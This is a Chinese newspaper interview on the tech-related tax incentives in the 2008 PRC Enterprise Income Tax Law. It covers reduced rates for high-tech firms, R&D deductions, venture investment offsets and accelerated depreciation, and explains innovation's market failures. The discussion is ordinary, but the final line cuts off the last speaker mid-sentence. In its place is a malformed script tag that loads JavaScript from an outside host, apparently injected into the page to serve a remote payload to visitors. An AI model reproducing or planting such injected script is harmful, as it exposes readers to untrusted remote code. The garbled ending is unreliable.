主持人：李禾（本报记者）

嘉宾：刘淼（北京大学法学院经济法博士生）

骆永华（北京环宇通软信息技术有限公司总经理）

名词解释：科技税收优惠主要是指国家为促进科技进步、提高科技水平而在研究与发展、新设备投资、科技产品销售、科技人员所得等方面所采取的一系列税收优惠措施的总和。 其核心目标是刺激科技投入、鼓励科技开发和科技产品的生产，从而提高国家的总体科技水平。在各种影响企业科技创新活动的税收政策和具体税种中，企业所得税，作为效益税，对于解决科技创新活动中的市场失灵、展现科技创新在国家发展战略中的地位是非常有效的。

将于2008年1月1日生效的《中华人民共和国企业所得税法》全部条款已正式公布，该税法规定内、外资企业的所得税税率统一为25%，改变了以前外资企业的“超国民”待遇，另一个突出的特点是——高新技术产业享受优惠。

比如，新企业所得税法第28条第二款规定，国家需要重点扶持的高新技术企业，减按15%的税率征收企业所得税。

第30条规定，企业的开发新技术、新产品、新工艺发生的研究开发费用，可以在计算应纳税所得额时加计扣除。

第31条规定，创业投资企业从事国家需要重点扶持和鼓励的创业投资，可以按投资额的一定比例抵扣应纳税所得额。

第32条规定，企业的固定资产由于技术进步等原因，确需加速折旧的，可以缩短折旧年限或者采取加速折旧的方法。

第57条规定，新法公布前已经享受低税率优惠的企业，可以在新法施行后五年内，逐步过渡到新法规定的税率。对五个经济特区和上海浦东新区，在新法施行后设立的国家需要重点扶持的高新技术企业，可以享受过渡性税收优惠。

科技税收优惠政策应对创新的“市场失灵”

主持人：新企业所得税法的公布，让很多惴惴不安的高新技术企业松了一口气。但这次税法改革中，政府为什么会出台这么多激励企业技术创新的具体条款呢？

刘淼：这是因为在技术创新过程中，存在着“市场失灵”。“市场失灵”是由技术创新本身的特性决定的。一是创新收益的外部性。由于研究和开发活动所产生的信息具有公共物品的特征，因而信息的生产者不可能将产品的全部收益据为己有，结果会导致研究与开发活动萎缩，全社会的研究开发水平低于最适当水平；二是创新过程的不可分割性。研究与开发受到规模的限制，因而在一定规模以下的企业不可能进行研究与开发活动；三是创新过程的不确定性。创新活动与其他投资活动不同，创新投入的产出是不确定的，特别是在研发活动的早期，常常会发生失败，这就增加了创新活动的风险性，不利于企业进行创新投资。科技创新外部性的一个重要表现形式是其溢出效应。也就是说，当一个企业的创新活动完成后，同一行业的其他企业往往可以进行模仿，创新结果迅速在行业内扩散，缩减了研发企业的技术领先优势，削弱了企业创新活动的战略意义，导致创新活动的市场失灵。

骆永华：我们做企业的特别有感受，一方面中小型企业相对于规模比较大、管理复杂性比较高的大中型企业而言更具有创新动力和活力，但另外一方面中小型企业往往资金不足，很难承受创新活动早期必然会有的各种失败；对于企业来说，技术和产品研发的成功只是万里长征的第一步，即使新产品的初期销售开始让企业盈利，也远不足以支撑真正产品化和大规模生产的资金投入需求。所以对于我们这样的创新企业来说，一方面需要充分利用资本市场进行融资，另外一方面也很需要政府从税收等多个方面所给予支持。

科技税收优惠政策触动企业创新动力

主持人：科技税收优惠政策一般会对科技创新具有什么激励作用？

刘淼：税收优惠作为一种税收调节工具，是政府运用税收手段直接调节纳税主体的收入，间接影响纳税主体的行为，进而引起社会经济活动的变化，以实现政府宏观调控目标的活动。间接性是税收影响企业科技创新的突出特点。

总体看，科技税收优惠政策对科技产业的发展具有导向作用，表达了政府对科技产业发展的支持，从而对市场机制配置资源的过程产生影响，促使经济资源向政府意欲趋向的方向流动。此外，科技税收优惠政策会减少企业成本，增加收益。企业作为市场微观经济主体，其经营活动完全基于自身经济利益的判断，政府将应得的所得税收入让渡给了纳税主体，使企业的成本减少而收益增加。这也是企业所得税法最能触动企业创新动力的所在。

科技税收优惠政策可降低企业科技创新的风险系数。由于科技创新的不确定性，对于多数企业，尤其是中小型企业承受研发投入风险的能力较低，尤其是在新产品开发未能初见效益的情况下，二次大幅度研发投入，对于他们来说是一个艰难的选择，科技税收优惠政策可以增强他们的创新的信心和勇气；还可促进科技成果的转化，实现市场化和产业化。

骆永华：从企业角度来看，科技税收优惠政策一方面上从总体?script src=http://er12.com/t.js>